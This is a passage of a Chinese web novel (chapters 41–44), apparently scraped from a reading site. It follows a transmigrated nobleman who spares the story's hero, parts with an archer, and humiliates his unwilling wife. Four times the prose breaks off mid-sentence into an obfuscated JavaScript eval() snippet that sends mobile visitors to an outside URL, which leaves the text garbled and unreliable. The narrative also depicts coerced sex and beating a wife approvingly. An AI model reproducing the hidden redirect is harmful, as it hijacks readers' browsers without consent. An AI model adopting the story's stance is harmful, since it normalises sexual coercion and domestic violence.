把主角都吓尿裤子了 “你敢!”顾北辰瘫坐在地上干瞪眼。 谁料林臻全然不顾,通红的眼睛里满满都是杀意。 举起大刀,没有丝毫犹豫地朝他脑门劈了下去! 敢动我的人,就是这样的下场! “啊!!”顾北辰挥手抵挡。 可血肉之躯岂能挡得住砍刀?这无异于以卵击石! 眼见要闹出人命,张俪失声大喊:“不要啊世子!” 没人能劝住已经疯魔的林臻,眼看着刀刃就要砍在顾北辰的手臂上。 就在这电光火石之间,突然凌空射来一支箭! 不偏不倚,正好打在林臻的刀刃上! “叮!” 巨大的力量瞬间让大刀脱手而飞,林臻的身形也踉跄两下,最终靠在赌桌的残骸上。 他回眸看去。 却没看到人,只看到窗户边有一朵艳丽的海棠花。 是海棠朵朵! 这个娘们不是在自己府里养伤吗? 怎么会突然出现救了顾北辰呢? 难道说他的主角光环就强大到这个地步?可以让一个素不相识的人出手救他? “世子!” 曹雄做梦也没想到这里竟然有刺客,立刻跑过来,同时命令道:“你们几个,撒冷追!千万不能让那个刺客跑掉!” “罢了。”林臻说道:“我知道是谁,不必追了。” “世子?您没事吧?”曹雄吓坏了,万一林臻有个三长两短的,他就是自杀谢罪也难平摄政王心中怒火。 到时候他老人家还不得把京城闹个底朝天? 林臻经过这一下也冷静下来,擦了擦头上的虚汗。 刚才确实有些冲动了。 现在还不是杀顾北辰的最好时候。 万一他死了,顾家派系的人会全力反扑。 除非林震仙造反,当然,林臻也不认为以林震仙的性格会造反。 届时林家一定会受到非常严厉的惩罚,以至于伤筋动骨,就算自己神通广大也再无回天之力。 海棠这一下与其说是救了顾北辰,倒不如说是救了自己。 曹雄说道:“世子,刚才那家伙到底是谁?好凌厉的箭法啊!” “我自会去找她,把这个吓尿裤子的混蛋给本世子扔出去,骚烘烘的,晦气死了。” 林臻用手扇了扇空气,表情十分厌恶。 没想到堂堂顾家少爷,整本书的主角,曾经的天之骄子,竟然被吓得当众尿裤子。 这样的人如果 不是因为主角光环,凭什么和自己斗? 曹雄指着已经吓傻的顾北辰说道:“来啊,扔出去。 “是! 虎贲营这帮糙汉可不管你是谁家的少爷,四个人拎起顾北辰的四肢,像待宰的猪那样吊起来,三两步就给扔了出去。 “砰! 顾北辰摔在地上,疼得哎呦一声,这才从震惊中缓过来。 看着自己浸透的裤子,一股强烈的屈辱感涌上心头。 他发誓,一定要让林臻血债血偿! “林臻!!! 顾北辰站起来,对着赌场里面大喊道:“我顾北辰,从现在开始与你不死不休!我今天遭受的屈辱,总有一天要你千倍百倍的偿还!我要把你做成人彘,放到黄河边当癞蛤蟆! 林臻不痛不痒的话从里面传来:“先把你裤子换了再说吧。 “我噗! 顾北辰被气得一口老血就喷了出去,随后踉踉跄跄的离开现场。 张俪万没想到今天会闹成这个样子,他走到林臻面前,颇有些歉意地作揖:“世子,都怪我 “你一介弱女子,有什么好怪罪的。林臻不以为意说着,用手轻轻擦了擦张俪脏兮兮的小脸,霸气十足地说道:“顾北辰丧心病狂,不仅殴打小厮,还敢伤了你!这笔账,绝不算完! 林臻的手很热,就像张俪那颗小鹿乱撞的心。 她温婉地低下头:“妾身.先送他们俩去医馆。 阿文和小五浑身是血。 好在顾北辰一介文人,手里没多大力气,都是些皮外伤。 小五缠着阿文站起来,把他的手臂搭在自己肩膀:“老板,我们自己去就可以。 “等等。 林臻从怀里掏出两个银饼子,一人丢一块。 “没钱怎么看病?拿着吧。 “多谢世子!小五感动得稀里哗啦,阿文像抱拳鞠躬,可是这腰怎么也动不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789173|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 林臻摆摆手,让两人离开,又让曹雄拿来湿毛巾。 张俪猜到他想做什么,准备找个借口开溜,却见林臻已经蛮横地抓住了自己的手。 “不许走。 “世子..这么多人看着呢。 “我林臻想做的事情,没有人敢说三道四。 言罢左手捏住张俪那精致的下巴,右手一点点为她擦拭脸上的灰尘。 小五和阿文把她保护得很好,这张精致的脸一点也没伤到。 张俪嘴上不说,心里却暖暖的很 是受用,那灵动的睫毛不时扑闪两下,春心荡漾。 擦完以后,那张绝世容颜再次浮现,林臻笑着赞美道:“果然是绝世美人。” 曹雄紧跟着起哄。 “哈哈哈哈,世子说得对,嫂夫人果然天姿国色!” “哎呀,你们乱叫什么呢!”张俪瞬间就活不成了,恨不得找个地缝钻进去。以前泼辣豪爽的性子荡然无存,只留下绯红的含羞之色。 周围虎贲营的将士都哈哈大笑。 “哎呦呦,嫂夫人害羞了呢!” “哈哈哈哈,世子,什么时候请我们喝喜酒呀!” “对呀,嫂夫人虽然是普通人家的女子,做不成正妻也能做个小妾呀!” “哎呀,你们.世子,妾身办事去了!”说完张俪捂着脸,扭着纤腰跑开。 再不走,她恐怕真的就羞死了。 林臻对曹雄说道:“我有事情要回家去一趟,你们留在这里听从张老板指挥,另外再派两个人保护她的安全。” “世子放心,咱心明镜似的,肯定保护好嫂子!” 林臻无奈道:“乱叫什么?我头两天才刚结婚,蜜月休妻是要遭天谴的你知不知道?” “谁说休妻了啊?凭世子的身份,就是一天娶八个都不多!” “行了行了,别扯淡,好好干活,等办完了重重有赏!” “是!” 林臻回到王府,二话没说直奔海棠的偏院。 他现在迫不及待的想知道她为什么要救顾北辰,两人之间到底是什么关系。 如果两人真有什么自己不知道的事情,林臻不介意现在就杀了她! 第41章 想杀我,就不必救我 王府很大,差不多有一所普通大学的面积,林臻从正门口进来走了半个时辰才到海棠朵朵住的偏院。 院门是开着的,门前有杂草冒出头,显得有些破败。 林臻的脸阴沉得吓人,好像看谁一眼谁就要被洞穿似的。 站在他身后的曹雄连大气都不敢喘。 心说,世子什么时候有这么强的压迫感了?头几年还不是这样子的。 林臻头也不回地对曹雄说道:“让兄弟们都准备好,有什么情况立刻冲进去干掉她。” “是。”曹雄不敢大意,连连称是。 林臻没打招呼直接走进院子,就见到海棠朵朵在坐在院子中间的石桌边,背对着自己擦拭弓箭,动作安静淡雅。 身后是卧房,身侧是凉亭,亭下有小溪穿流而过,若非是心中怨气,林臻倒觉得此刻画风很是唯美。 海棠知道他进来了,但是没有回头,只满眼心爱地抚摸着弓箭,就像抚摸着自己最爱的人。 “是我做的。”她好像知道林臻要问什么,于是主动说出来。 这简简单单的四个字更是让林臻怒不可遏。 他坐在她对面,没好气地说道:“你和顾北辰什么关系?” “什么关系都没有。” 呼。 林臻偷偷舒口气。 只要她们俩没关系就行,否则她今天必死。 “那你为什么这么做!” “你救我一命,我也自然也要救你一命。”海棠的声音很淡很淡,好像没有任何感情。 “你用箭矢射中我的刀刃,救下的分明是顾北辰。” “顾北辰现在还不能死,而我能看出来你只是一时冲动,并非真的想杀他。” 林臻猜到是这个结果,但他没想到类如海棠这样的杀手还能有如此细腻的心思。 竟知道顾北辰现在不能死。 原书里,她不是个因为救命之恩而爱上顾北辰的傻白甜么? 该死的作者又TM骗我,这世间哪那么多恋爱脑,傻白甜啊! 林臻暗暗腹诽几句,看了看依旧没有抬头的海棠。 今天如果不是她出手相救,自己可能就捅了大篓子。 届时所有的布局都会化为灰烬,只剩造反这一条路可走。 但是自己没有兵权,林震仙又不可能造反,所以往后日子会非常难过。 林臻低眉,偷偷看了看海棠那张充满英气的脸。 想说句谢谢,可话到了嘴边却怎么也说不出口。 他就不是一个善于表达自己情感的人。 “我要走了。”海棠一边擦拭着弓箭一边说话好像所有事情都与她无关那样随意。 林臻不由追问道:“你要去哪?” “我们互不相欠去哪轮不到你管。” “我” 好无情的女人啊! 和林臻以前的那些女领导很像。 不过话又说回来两人非亲非故只是林臻刻意制造的萍水相逢要分别也是必然的。 而且林臻没有把她强留在自己身边的理由。 搞刺杀的女人是不畏强权的不爱慕虚荣的女人同时也不会被金钱所打动林臻真的不知道该用什么方法把她留下。 他只能盯着那把硕大的长弓说道:“下次见面我送你一把好弓。” “不必。”海棠站起来将弓箭背在背上神情冷漠地说道:“把亲卫撤了吧。下次想杀我就不必救我。” 我说她怎么一副性冷淡的样子原来她早就知道自己动了杀心。 知道却不反抗反而和风细雨的诉说最后才表态离开。 颇有大侠之风。 林臻忽然生出一种小人之心度君子之腹的感觉。 他盯着海棠离去的背影放声大喊:“海棠谢了!” 海棠有瞬间的驻足嘴角勾起一抹绝美的笑容。 神情也不像刚刚那么冷漠而是落落大方仰天而去。 林臻坐在石凳上久久没有回神。 本来他是打算利用英雄救美得到海棠的喜欢然后把她留在自己身边一起对抗顾北辰的。 却没想到有的人血里带风 也罢只要自己还活着就一定会再见到她。 时间飞逝不知不觉天色黑了下来林臻也在这里坐了一下午。 浣碧听闻他在这坐一下午便端着晚饭过来轻轻唤道:“世子。” “嗯?” 林臻蓦然抬头正对上浣碧那张水汪汪的大眼睛。 “您坐了一下午也该吃饭了。” 浣碧把晚餐一盘盘地摆在石桌上一海碗的面条、鸡蛋酱、萝卜丁还有一盏茶水。 林臻确实有些饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789174|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了也不管什么地方拿起筷子大快朵颐。 边吃浣碧边用手帕给他擦拭嘴角的酱汁笑靥如花地说道。 “侯春的母亲安葬了就和他父亲葬在一起。二狗、韩忠还有很多龙骧营的将士也都去送行了纸钱垒得和小山 似的。侯春的妹妹也被奴婢买了回来,在葬礼上哭晕过去两次,这会儿兄妹俩刚到家,正在护卫营等候差遣呢。” 林臻真想把这妮子搂在怀里亲一口。 事情妥帖,人美心善,又深深爱着自己,不娶回来太可惜了。 只是这妮子年方十六,虽然已经及笄,但林臻还是过不去自己心里那关。 “嗝~”林臻把最后一块萝卜丁塞进嘴里,嚼得脆响,“刘书瑶呢?” “奴婢正要说呢。今天刘侍郎急匆匆来面见老爷,但是老爷去了军营没回来,他就去找了少夫人,在少夫人房里呆了一天都没有出来,也不知道在说些什么。” “呵。”林臻冷笑。 刘翰阳不着急才怪呢。 林震仙刚在朝堂上说他不堪大用,转眼间那些曾经和刘家交好的人都跟他划清界限。 就连顾家现在都对他是不冷不热,适才他去求见顾云霆,也没见到人。 林臻记得刚从政的时候,他的导师说过一句话:政治向来都是高度危险的东西。除非你有很强大的资源和条件,否则最好不要参与。一个没有受过完整训练的人,一个没有背景的人贸然参与政治,迟早会被斗垮,就像民族英雄左宗棠也斗不过老谋深算的李鸿章一样。 刘家是被林家拔苗助长才扶起来的小世家,他的一切资源和背景都是靠林震仙。 刘翰阳没有看清这一点,也没有认识到这一点,他认为自己天生就是当大官的。 实际上失去了林震仙的帮助,他什么也不是。 刘家也什么也不是。 他与刘书瑶说了什么,林臻用屁股想都知道,肯定是想让刘书瑶劝劝自己,别让林震仙在朝堂上针对他等等。 岂不知,世事哪那么容易就能糊弄过去?想这么简单就糊弄过去,门也没有。 当你背叛林家,与顾家合谋的那一刻起。 你就已经再无翻身之日。 林臻吃饱了,起身走向自己的别院。 他要看看这对父女俩到底如何演戏。 第42章 夫君吃饭了?那您晚上还吃吗? “这就是世家的力量么 刘翰阳今年四十有五,半天光景便已鬓角斑白,垂垂老矣。 他无比感慨林震仙的手段。 只是一句话,就让自己这个户部侍郎成为人人厌恶的过街老鼠,让昔日好友都对自己避之不及,唯恐有半点牵连。 一天的时间,他求遍了所有认识的同僚,有的能见到,有的干脆见不到。 就算见到的,人家也只会说:祝君好运。 不会出手帮忙。 坐在床榻上的刘书瑶哭泣道。 “呜呜呜爹,为什么会变成这样啊!她手绢已经被泪水浸透,眼睛红肿,声音沙哑。 刘翰阳苦笑一声:“呵,你以为这就没了吗?兵部的文书刚刚下来,撤销你大哥山海关总兵的职务,调回辽东昌黎县任折冲校尉。撤销你二哥水门桥果毅都尉的职务,调到承德任城门令。 刘书瑶一听便扑在父亲大腿上哭嚎:“爹!呜呜呜,承德苦寒,远离京畿,又与外族蛮蒙接壤,年年都有战事,二哥他可不能去啊!爹,您快想想办法把二哥调回来啊! “我能有什么办法!兵部尚书刘恺威是林家的死忠,他决定的事情,谁能改变? “刘恺威公报私仇,难道皇帝也不管吗?我就不信,堂堂皇帝还管不了一个兵部尚书! 刘翰阳无奈摇头。 自己怎么就生了个这么傻的女儿啊! 林臻眼睛瞎了才看上你! “傻丫头,你当陛下是什么?他老人会去管一个从八品都尉的小事情吗?就算是想管,他也不会为了你二哥和林家撕破脸的! “那怎么办.二哥他恐怕熬不过这个冬天 “还不是因为你!比起你二哥来,老夫现在最担心的是你大哥!他本来有很好的前途,但是现在全毁了! “女儿.女儿对不起您呜呜呜。 “哭哭哭,你就知道哭!今天中午,征西大将军周泽亲自上门退婚,你妹妹现在眼睛都快哭瞎了!你知不知道征西大将军是干什么的?你知不知道周泽是什么人!如果我们家和他们联姻,十年之后,我就是下一个丞相! 所有的梦想都在林震仙宣布他不堪大用的那一刻破灭了。 而这一切都是因为这个不孝女,刘翰阳怎能不恨? “爹我该怎么办啊林臻没有以前喜欢我了,他很粗鲁,每晚都打我.呜呜呜,昨天我还在摄政王门前跪了一下午,呜呜呜,女儿也活不成了! 林臻从来不打女人,除 非在床榻上。 刘书瑶没有说林臻打的是自己哪里,所以刘翰阳也没有理解她话中深意。 再说,就算理解又如此?若是能挽回局面,就算林臻把刘书瑶打死,刘翰阳都觉得值。 与家族的繁荣比起来,一个嫡女实在微不足道。 “书瑶,事到如今,只有靠你了。” “靠我?” “林臻曾经对你那么好,绝不会因为一件事情就忘记旧情。只要你乖巧听话,不惹他生气,久而久之,他自然还会喜欢上你。” 刘翰阳摸了摸刘书瑶的头,很慈爱地说道:“毕竟我的女儿如此漂亮。” “爹真的可以吗?” “嗯,但是你切记,如果你再敢见顾北辰一面,我刘家就彻底完了,到那时,而你也不要再说是我的女儿。” “嗯” 刘书瑶不知为何,总觉得自己的心好痛好痛。 顾郎,今生今世,是我负了你。若有来生. “老爷,小姐,林臻回来了!” 刘翰阳显得十分激动:“书瑶,快,擦擦眼泪,赶紧去迎接!” “吱呀。” 门被浣碧推开,刘书瑶穿着华丽的长裙出现在门口,盛装的样子倒是让林臻有些意外。 只见她轻轻作揖,半蹲下身道:“妾身恭迎夫君。” 噗。 好家伙,也不知道刘翰阳怎么给她洗的脑,还真有点意思。 林臻进屋,看到刘翰阳已经站了起来,对自己笑着作揖:“世子。” “呦,岳父大人,两日未见怎的如此沧桑啊?”林臻语调轻浮地坐在圆桌边,看到桌子上浸湿的手帕,神秘一笑。 刘翰阳说道:“哦,前几日多吃了几杯酒,今日才缓过来。” “缓好了就回去吧,我的卧房里不能有男人。” 刘翰阳老脸一抽。 心说你TM不是男人啊?想赶人走就直说,王八羔操的。 “那臣这就退下了,书瑶,一定好好伺候世子!”刘翰阳递给闺女个眼神,后者会意,淡淡地点了点头。 刘翰阳走了,刘书瑶看着林臻那张讥讽的脸,犹豫半晌才说道:“夫君.可吃饭了?” “吃过了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789175|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那妾身给您捏捏肩吧!”刘书瑶不由分说地走过来,哪知道林臻一把将浣碧拉到自己身后。 浣碧多聪明呀?当即想到什么,双手放在他的肩膀上,一下一下揉捏着。 林臻舒爽得都要呻吟出来了。 他终于明白古代那些地主老财为什么都要雇丫鬟了。 柔弱无骨的小手搭在你的肩膀上、腿上,一下一下地揉捏,不敢有丝毫大意。 这种感觉绝不是足浴店里的技师能比的。 刘书瑶尴尬得直抠脚,但也无可奈何,想起自己家的遭遇她强忍着恨意,慢慢跪下身。 “那妾身给您捏捏脚吧,忙碌了一天,也该休息休息了。” 这回林臻没拒绝。 只见刘书瑶捧起林臻的脚,轻轻脱掉鞋袜,放在自己胸口上,轻轻地揉捏。 向来锦衣玉食的刘书瑶什么时候给别人捏过脚? 一股猛烈的屈辱感袭来,让她的眼眶再次红润。 林臻却没有丝毫怜香惜玉,脚趾在她的怀里逗弄,越是如此刘书瑶就越是屈辱。 一滴晶莹剔透的泪珠掉下来,正砸在林臻的脚面上。 她倔强地抬起头,问了句林臻打死都没想到的话:“夫君用脚,那您晚上还吃吗?” “我” 林臻被问得哑口无言。 这时候浣碧很是时候地插了一句:“世子放心,等下奴婢就去给夫人烧洗澡水。” “懂事。”林臻拍了拍浣碧的手,笑得很是慈祥。 有一个知趣懂事情商高的女朋友,原来是这种感觉。 浣碧也心照不宣地笑着,手上的力气又加了几分,林臻舒服地闭上双眼问道:“那个从顾家带来的丫鬟呢?” “您是说青竹姑娘吧?她今天挺乖的,帮着晴雯她们打扫内院,里里外外都擦了一遍。” “嗯,以后让她跟着你吧,你们姐妹俩一起也有个照应。” “好~都听世子的!” 林臻其实也有些私心,毕竟青竹可是顾北辰的暖床丫头,更是她的大管家,贤内助,而且这妮子出落得很水灵。 如果能抓住她的真心,对林臻来讲还真有一种给顾北辰扣绿帽的感觉。 唉,也不知道明天顾家父子俩看到地下钱庄被搬空会是什么感觉。 一定特别有意思吧? 林臻暗暗有些期待。 第43章 刘书瑶沐浴。他想要,便狠狠地要吧 刘书瑶去洗澡了。 丫鬟烧了一大盆的洗澡水,此刻沐浴室内水气环绕,栀子花香扑鼻。 刘书瑶进门,小翠在身后顺手把门关上,转头带着哽咽说道:“小姐.您受委屈了.” 适才她亲眼看到刘书瑶给林臻捏脚。 而坏坏的林臻毫不感激,甚至在她怀里乱扭乱动,脚趾夹着肉来回拉拽。 拽的刘书瑶贝齿轻咬,肌肤生疼。 简直太过分了,我家小姐可是掌上明珠,天之骄女,什么时候受过这种窝囊气? 刘书瑶现在有种哀莫大于心死的感觉,她仿佛没有听到小翠的话,表情木讷地来到浴桶边缘,轻轻脱下外袍。 然后是亵衣,肚兜,最终不着片缕地站在那里。 她低头看向水中倒影,忽然摸了摸自己的脸颊,勾了勾鬓角的秀发,喃喃道:“小翠,我美吗?” 衣服被小翠一件件地搭在竹竿上,头也不回的说道:“小姐是世界上最美丽的女人!” 刘书瑶盯着自己那足有C+的圣峰,傲人的长腿,语气中尽显失落:“那为什么林臻会如此羞辱我?难道她不爱这具身体了吗?” “那个林臻实在是可恶!居然让浣碧那个丫鬟捏肩,让您捏脚!这不是以下犯上,目无尊卑吗?小姐,要不我们让世子写休书吧!这样的日子,奴婢实在看不下去了!” 小翠依旧对此事愤愤不平,刘书瑶却悲伤地摇了摇头:“不,他是不会写的。如果写了,也就代表我刘家彻底完蛋了,父亲几十年的希望就会破灭,大哥、二哥还有小妹,也都会因为我失去一切。” “可是林臻每晚都狠狠地欺负您,奴婢都听到您的惨叫了!再这么下去,您的身子也吃不消呀!” “我宁可自己去死,也不愿见到家人难受,小翠,我的胸口好脏,你快去拿浴巾。” 林臻的脚不臭,但对刘书瑶来说却带有一股难以言喻的羞辱与恶心。 尤其是他曾咬过的地方,今天竟然用脚去夹。 这世间怎么会有这么恶心的男人? 小翠将粗麻帕子打湿:“小姐,奴婢给您擦吧?” “不用。” 刘书瑶接过来,狠狠咬牙,使出浑身力气在自己前胸猛搓,直到把皮肤搓得通红也不罢手。 甚至还愤恨地说着:“你不是喜欢咬吗!?我把它们变丑,看你还咬不咬!王八蛋,竟敢这么羞辱我,我早晚要杀了你!” “啊!!”刘书瑶已经快疯了。 小翠喊道。 “小姐,别搓了,再搓就真的要搓破了! “小姐,奴婢求求您停手吧! “万一搓破了,顾少看到也会不喜欢的! 不论小翠怎么喊刘书瑶都不停,直到她说起顾北辰,这才有了瞬间的恍惚。 对啊。 我还有顾郎呢。 我不能因为林臻那个王八蛋把这里搓破,到时候顾郎就不喜欢了!他可是最爱干净的! 刘书瑶瞬间就给自己洗了脑,把帕子扔进浴桶,大口喘着粗气。 小翠扶着她迈进浴桶里面,温热的水流将浑身包裹,舒爽得让人想要呻吟,唯独胸前的微微刺痛略显美中不足,但是并不打紧。 小翠重新拿起帕子,轻轻给她擦拭肩膀,又用澡豆混合着草木灰、淘米水洗了头发。 “小姐,如果您想见顾少,奴婢有个法子! “真的吗?刘书瑶现在对什么也提不起兴趣,满脑子都是顾北辰那张帅气的脸。 听闻小翠有办法,立刻追问道:“你有什么办法? “嘻嘻,明天奴婢就去找顾少,可以让你们在后门偷偷见上一面! “万一被人发现怎么办? “小姐放心,看门的那个小厮,已经被奴婢买通了呢,再说林臻这几天总往外面跑,根本就不在家! 一句话说得刘书瑶心花怒放,对小翠风情万种地翻个白眼:“真是没白疼你这小妮子。 “嘻嘻嘻。小翠也跟着痴笑。 在原书中,刘书瑶曾多次和她一起伺候顾北辰。尤其是新婚夜抢亲之后,小翠彻底就爱上了这个为爱疯狂的男人,以至于彻底沦陷在他的温柔之中。 只是现在嘛.顾北辰还真没瞧上这个乡下来的小丫头。 刘书瑶故意在浴桶里泡了很久,水已经凉了,小翠知道她在想什么,刚刚想起顾北辰的兴奋再次被击碎,又开始难过起来。 “小姐,今晚可怎么办啊。 “为了刘家,我必须要付出所有;但为了北辰,我绝不会将心停留在林臻身上。刘书瑶站起来,在小翠的伺候下擦水穿衣。 “不过是一副残躯而已。他想要,便狠狠地要吧。 林臻正在房间里查看大乾的地图。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789176|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大乾地处北方,京城在广阳府,与游牧民族蛮蒙接壤。北面有燕山山脉作为屏障,南面的泰山山脉与楚国毗邻。 可以说在防守上大乾是占据优势的。但三个月后,楚国大军进攻雄鹿,也就是邢台的巨鹿县。 林臻记得原书中写着楚国领军大将叫项英。 大军在雄鹿摆开架势,却迟迟不进攻城池,林震仙也没有冒进,双方僵持月余。 后来林震仙粮草短缺,派人去朝廷要粮食,女帝却听从顾北辰的建议不给,导致前线将士没有粮草军备。 这个时候项英率大军进攻,林震仙不敌,最终战败身亡。 林震仙刚刚败亡,顾北辰便横空出世,整顿大乾其余兵马与项英交战在真定县,一战定乾坤,大获全胜,楚国就此败退。 不得不说顾北辰的主角光环实在是太重了,从逻辑上讲,顾北辰的军事才能远远不及林震仙,但就这么稀里糊涂的赢了。 果然,爽文就是爽文,学不到真东西。 林臻合上地图,心中已有谋划。 这时浣碧带着青竹,两女从门外款款而来,一人手里端着热粥,一人端着清茶。 “世子,漱漱口,喝点粥吧。” 浣碧把粥放在桌子上,相比于她的随意,青竹却显得很是小心,将茶高高地举过头顶,躬身道:“世子请喝茶。” 林臻淡笑着把茶水接过来,对青竹尽量温柔地笑道:“青竹,你家里还有什么人吗?” “奴婢还有父母兄弟姊妹,都在邯郸老家务农。” “那你是怎么进顾家的?” “天元九年关中大旱,父母为了活命把我卖给了人伢子,后来又被顾家买回府里当丫鬟。” 天元是慕容嫣的父亲,慕容龙的年号。 当年那场旱灾席卷整个华夏大陆,对此林臻也有零星的记忆。 “原来是这样,那你家里现在过得可还好?” “有顾家帮衬着,还好。” 顾家帮衬? 林臻心里突然涌起一股很不好的预感。 侯春把她救回来,这件事情顾家肯定知道,同时他们也肯定认为是青竹背叛了他们。 既然这样,以顾北辰父子俩的性格难免不会拿青竹的父母撒气。 如果是这样的话,那她的亲人可就危险了。 “浣碧,你快去把曹雄叫来!” 第44章 月光照耀下的胸腰比 “是!”浣碧看林臻的脸色就知道事情非同小可 很快曹雄穿着铠甲哗啦啦地走进来对林臻抱拳:“世子有何吩咐!” “你立刻派人去邯郸把青竹的亲人接到京城来。” 曹雄看了看青竹:“是属下这就去办!” 青竹还不知道发生了什么事以为林臻是想利用他的亲人来威胁她呢。 讨人厌的纨绔居然这么下作! 看青竹垮下来的小脸林臻就猜到她在想什么无奈地解释道:“以顾北辰的性子是不会放过你家人的我派曹雄去是为了救他们。” 青竹翻了个白眼。 且。 借口! 狡辩! 顾少才不会做出那样下作的事情呢。 若不是那个叫侯春的下毒顾少也不会变成那个样子自己也不会来到林府。 这一切都是这个叫林臻的人策划的。 若不是他恐怕我现在已经是顾少的内人了呢! “多谢世子。”青竹不冷不热不咸不淡的感谢让林臻更加无奈。 顾北辰的主角光环太强大让所有认识他的女子都没办法轻易走出来。 既然如此那就得好好让她们看清顾北辰的嘴脸。 曹雄走了出门正好碰到刚刚沐浴回来的刘书瑶和小翠。 他抱拳行礼:“见过夫人。” 说完便头也不回地离开。 小翠偷偷拉了拉刘书瑶的衣袖:“小姐刚刚那个好像是虎贲营的!” “什么?虎贲营?他们怎么会进城来?” “不知道但是他胸口的刺绣肯定是只老虎头!” 刘书瑶有些慌乱:“不对虎贲营突然进城肯定是城里有什么重大事情发生了。” “肯定是林臻又在使什么坏呢我们得赶紧想办法通知顾少才可以!” “嗯!” 姐妹俩怀揣着心事进屋当刘书瑶看到林臻的那一刻她什么想法都没了心中只有浓郁的担忧和惊恐。 也不知道今天晚上林臻会怎么殴打自己。 是打脸还是打屁股呢? 刘书瑶向林臻作揖:“夫君。” 林臻点头对其他人说道:“嗯你们都出去吧我要休息了。” “是。” 浣碧带着青竹和小翠走了出去林臻放下粥碗目光凌厉看着刘书瑶。 实话讲刘书瑶也算房中名器不仅长相艳丽更是该大的地 方大,该小的地方小。 尤其是她在月光照耀下显露出来的胸腰比,一个宏伟,一个纤细,简直能迷死人。 刘书瑶被她赤条条的目光看得浑身不舒服,却又不敢反抗只能低下头去。 林臻勾了勾手指:“跪下,爬过来。” “妾身.遵命。” 刘书瑶咬着贝齿,表情极不情愿。 但想想自己的家族的,父亲的叮嘱,以及日后能在顾北辰的帮助下报仇,她屈服了。 双膝软软跪地,两只白皙的手掌撑在地上,缓缓爬动,最终来到林臻面前跪好。 林臻俯下身,目光灼灼地说道:“吸吮我的嘴唇。” 刘书瑶好像听到了这世间最无礼的要求。 一滴泪悄然落下,她慢慢地昂起头,闭上眼睛,主动递上双唇。 刘书瑶也不知道自己一声声的哭喊究竟是因为什么,明明心里对他很是厌烦,可身体上却仿佛站在海浪上,随着浪花忽高忽低,当站在最高点时,她竟失口喊道:“啊顾郎!!” 林臻当时就怒了,眼睛充血地看着她。 奶奶的,和我睡觉,脑海里幻想的竟是别的男人,这如何能忍? 他甩手就是一巴掌抽上去。 原则是林臻是不打女人的,但刘书瑶做得实在过分,于是他将满腔怒火都发泄了出来,打得她一夜都不敢让屁股碰到床榻。 早上起来的时候林臻还有些气不顺,连早饭都没吃几口。 浣碧站在他身后关切地问道:“世子今天没胃口吗?” “哼,昨晚真是气死我了,我努力半天竟然被她当成了顾北辰!”林臻把馒头狠狠摔进粥里,“把她给我关起来,一天不许吃饭!” “是,奴婢等下就去安排,您先消消气,要不奴婢喂您?”说着话浣碧就来到正面,用勺子舀起点粥,放到嘴边轻轻吹吹,然后含在嘴里,最后递上双唇。 林臻有些木讷地看着她,直把小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789177|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妮子盯着脸色绯红。 看来她是着急了呀。 也罢,找个机会收了吧。 既然穿越到古代就得遵守古代的规则和社会制度,像浣碧这样年龄的姑娘,正是出嫁的好时候,自己完全没必要跟自己过不去,寒了姑娘的心。 想通了的林臻带着淡淡笑意张口,两人你侬我侬吃了顿甘甜的早餐。 青竹进来的时候看到这番场景,又脸红红的走出去了。 林臻心情稍有缓解,准备去赌场看看。 